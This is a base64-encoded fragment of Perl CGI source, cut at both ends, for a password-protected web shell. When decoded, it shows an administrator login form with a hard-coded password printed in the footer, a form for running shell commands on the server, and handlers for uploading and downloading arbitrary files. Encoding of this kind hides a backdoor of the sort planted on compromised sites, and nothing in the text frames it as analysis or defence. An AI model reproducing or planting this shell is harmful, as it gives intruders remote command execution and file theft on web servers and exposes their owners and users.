AZGlyPSgpOwoJaWYoJFdpbk5UKQoJewoJCUBkaXI9c3BsaXQoL1xcLywkQ3VycmVudERpcik7Cgl9ZWxzZQoJewoJCUBkaXI9c3BsaXQoIi8iLCZ0cmltKCRDdXJyZW50RGlyKSk7Cgl9CglteSAkcGF0aD0iIjsKCW15ICRyZXN1bHQ9IiI7Cglmb3JlYWNoIChAZGlyKQoJewoJCSRwYXRoIC49ICRfLiRQYXRoU2VwOwoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii5lbmNvZGVfYmFzZTY0KCRwYXRoKS4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlCnsKCXByaW50IDw8RU5EOwoKClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8YnI+Cgk8Zm9udCBjb2xvcj1yZWQ+PTwvZm9udD48Zm9udCBjb2xvcj1yZWQ+LS0tJmd0OyogIDxmb250IGNvbG9yPSNmZjk5MDA+UGFzcyA9IHRua3RlYW0gPC9mb250PiAgKiZsdDstLS09PC9mb250PjwvY29kZT4KPC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOwp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQojIHZhcmlhYmxlICRDb29raWVzeycnfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBHZXRDb29raWVzCnsKCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7Cglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQoJewoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsKCQkkQ29va2llc3skaWR9ID0gJHZhbDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBzY3JlZW4gd2hlbiB0aGUgdXNlciBsb2dzIG91dAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ291dFNjcmVlbgp7CglwcmludCAiQ29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgoJJlByaW50TG9naW5TY3JlZW47CgkmUHJpbnRMb2dpbkZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwoJZXhpdDsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQKIyBkaXNwbGF5cyBhIHBhZ2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQgZG9lbnMndAojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcgojIHRvIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFBlcmZvcm1Mb2dpbiAKewoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBhc3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQKCXsKCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOwoJCSZQcmludFBhZ2VIZWFkZXI7CgkJcHJpbnQgJkxpc3REaXI7Cgl9CgllbHNlICMgcGFzc3dvcmQgZGlkbid0IG1hdGNoCgl7CgkJJlByaW50UGFnZUhlYWRlcigicCIpOwoJCSZQcmludExvZ2luU2NyZWVuOwoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQKCQl7CgkJCSZQcmludExvZ2luRmFpbGVkTWVzc2FnZTsKCgkJfQoJCSZQcmludExvZ2luRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCWV4aXQ7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiIgb25TdWJtaXQ9IkVuY29kZXIoJ2MnKSI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyIgaWQ9ImMiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb3dubG9hZCIpOyAKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7CglyZXR1cm4gPDxFTkQ7Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+CkRvd25sb2FkOiA8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgoKPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCW15ICRkaXI9ICZBZGRMaW5rRGlyKCJ1cGxvYWQiKTsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7CglyZXR1cm4gPDxFTkQ7Cjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgokUHJvbXB0IHVwbG9hZDxicj48YnI+CkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIGlkPSJ1cCIgdmFsdWU9Im92ZXJ3cml0ZSI+CjxsYWJlbCBmb3I9InVwIj5PdmVyd3JpdGUgaWYgaXQgRXhpc3RzPC9sYWJlbD48YnI+PGJyPgpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+CjwvZm9ybT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMKIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcmV0dXJuIDw8RU5EOwo8L3RleHRhcmVhPgo8YnI+PGZvbnQgY29sb3I9eWVsbG93PgpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pgo8YnI+PGZvbnQgc2l6ZT0nNicgY29sb3I9cmVkPktpbGxlZCBpdCE8L2ZvbnQ+CkVORAoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJbXkgJHJlc3VsdD0iIjsKCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cwoJewoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8gdGhlIGJyb3dzZXIKCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7CgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOwoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJCSRyZXN1bHQgLj0gPDxFTkQ7ClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJyPgoKSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+CkVORAoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkISI7CgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyCnsKCW15ICRyZXN1bHQgPSAiIjsKCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsKCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcKCXsKCQlpZigkV2luTlQpCgkJewoJCQliaW5tb2RlKFNFTkRGSUxFKTsKCQkJYmlubW9kZShTVERPVVQpOwoJCX0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsKCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7CgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOwoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOwoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOwoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOwoJCWNsb3NlKFNFTkRGSUxFKTsKCQlleGl0KDEpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7CgkJJHJlc3VsdCAuPSZQcmludEZpbGVEb3dubG9hZEZvcm07Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UKIyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwKIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCZWdpbkRvd25sb2FkCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfAoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsKCX0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlCgl7CgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBVcGxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2FpbgoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikKCXsKCQlyZXR1cm4gJlByaW50RmlsZVVwbG9hZEZvcm07CgoJfQoJbXkgJHJlc3VsdD0iIjsKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCgkkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOwoKCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQKCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsKCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOwoKCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOwoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0CglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikKCXsKCQkkcmVzdWx0IC49ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7Cgl9CgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudAoJewoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQoJCXsKCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7CgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9OwoJCQljbG9zZShVUExPQURGSUxFKTsKCQkJJHJlc3VsdCAuPSAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCSRyZXN1bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsKCQl9CgkJZWxzZQoJCXsKCQkJJHJlc3VsdCAuPSAiRmFpbGVkOiAkITxicj4iOwoJCX0KCX0KCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQlyZXR1cm4gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdG